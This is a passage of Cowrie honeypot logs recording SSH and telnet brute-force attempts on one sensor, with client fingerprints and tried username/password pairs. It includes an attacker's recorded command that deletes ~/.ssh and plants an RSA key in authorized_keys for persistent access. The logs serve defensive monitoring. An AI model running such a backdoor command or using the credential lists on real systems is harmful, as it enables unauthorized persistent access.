2","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:29.721475Z","src_ip":"196.188.93.169","session":"f7b562308fc3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sandbox","password":"sandbox123","message":"login attempt [sandbox/sandbox123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:30.438612Z","src_ip":"196.188.93.169","session":"f7b562308fc3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:31.612409Z","src_ip":"196.188.93.169","session":"f7b562308fc3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":35474,"dst_ip":"159.203.135.109","dst_port":23,"session":"ab8a33424baf","protocol":"telnet","message":"New connection: 172.81.62.90:35474 (159.203.135.109:23) [session: ab8a33424baf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:37.535143Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":48148,"dst_ip":"159.203.135.109","dst_port":22,"session":"429a699d9a4b","protocol":"ssh","message":"New connection: 152.32.214.226:48148 (159.203.135.109:22) [session: 429a699d9a4b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:42.204827Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:42.210113Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:42.429846Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"oracle@2025","message":"login attempt [oracle/oracle@2025] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:43.337502Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:43.821667Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:43.824775Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:43.828476Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51598,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2101348be5b","protocol":"telnet","message":"New connection: 128.199.8.54:51598 (159.203.135.109:23) [session: d2101348be5b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:43.833853Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":92,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:44.264773Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:44.573551Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:44.576617Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:44.801700Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:44.805172Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":48156,"dst_ip":"159.203.135.109","dst_port":22,"session":"dcaf3ca7dad1","protocol":"ssh","message":"New connection: 152.32.214.226:48156 (159.203.135.109:22) [session: dcaf3ca7dad1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:45.012963Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:45.017503Z","src_ip":"152.32.214.226","session":"dcaf3ca7dad1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:45.233607Z","src_ip":"152.32.214.226","session":"dcaf3ca7dad1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:46.139382Z","src_ip":"152.32.214.226","session":"dcaf3ca7dad1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:47.527130Z","src_ip":"152.32.214.226","session":"dcaf3ca7dad1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.214.226","src_port":48166,"dst_ip":"159.203.135.109","dst_port":22,"session":"4a79aba54c14","protocol":"ssh","message":"New connection: 152.32.214.226:48166 (159.203.135.109:22) [session: 4a79aba54c14]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:47.745469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:47.750186Z","src_ip":"152.32.214.226","session":"4a79aba54c14","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:47.969264Z","src_ip":"152.32.214.226","session":"4a79aba54c14","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:48.882889Z","src_ip":"152.32.214.226","session":"4a79aba54c14","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.9","message":"Connection lost after 6.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:49.105901Z","src_ip":"152.32.214.226","session":"429a699d9a4b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:49.110551Z","src_ip":"152.32.214.226","session":"4a79aba54c14","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":51468,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e4175943b97","protocol":"ssh","message":"New connection: 103.27.238.120:51468 (159.203.135.109:22) [session: 4e4175943b97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:49.876513Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:49.880776Z","src_ip":"103.27.238.120","session":"4e4175943b97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:50.141129Z","src_ip":"103.27.238.120","session":"4e4175943b97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"marco","message":"login attempt [root/marco] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:50.922866Z","src_ip":"103.27.238.120","session":"4e4175943b97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:52.185013Z","src_ip":"103.27.238.120","session":"4e4175943b97","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":38056,"dst_ip":"10.17.0.5","dst_port":22,"session":"dbd8fa5a2ea4","protocol":"ssh","message":"New connection: 101.96.195.253:38056 (10.17.0.5:22) [session: dbd8fa5a2ea4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:54.835911Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:54.840774Z","src_ip":"101.96.195.253","session":"dbd8fa5a2ea4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98ddc5604ef6a1006a2b49a58759fbe6","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1"],"keyAlgs":["rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98ddc5604ef6a1006a2b49a58759fbe6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:55.734606Z","src_ip":"101.96.195.253","session":"dbd8fa5a2ea4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ubuntu","message":"login attempt [root/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:56.415895Z","src_ip":"101.96.195.253","session":"dbd8fa5a2ea4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:57.649527Z","src_ip":"101.96.195.253","session":"dbd8fa5a2ea4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"172.81.62.90","src_port":52542,"dst_ip":"159.203.135.109","dst_port":23,"session":"bcfdbc7e9bcb","protocol":"telnet","message":"New connection: 172.81.62.90:52542 (159.203.135.109:23) [session: bcfdbc7e9bcb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:58.043956Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.96.195.253","src_port":38068,"dst_ip":"10.17.0.5","dst_port":22,"session":"f2c05e99849d","protocol":"ssh","message":"New connection: 101.96.195.253:38068 (10.17.0.5:22) [session: f2c05e99849d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:58.570633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:41:58.575140Z","src_ip":"101.96.195.253","session":"f2c05e99849d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"36.92.41.115","src_port":49723,"dst_ip":"10.17.0.5","dst_port":22,"session":"fb36fda9baa4","protocol":"ssh","message":"New connection: 36.92.41.115:49723 (10.17.0.5:22) [session: fb36fda9baa4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:00.592993Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:00.597278Z","src_ip":"36.92.41.115","session":"fb36fda9baa4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:42:00.857765Z","src_ip":"36.92.41.115","session":"fb36fda9baa4","protocol":"ssh"}
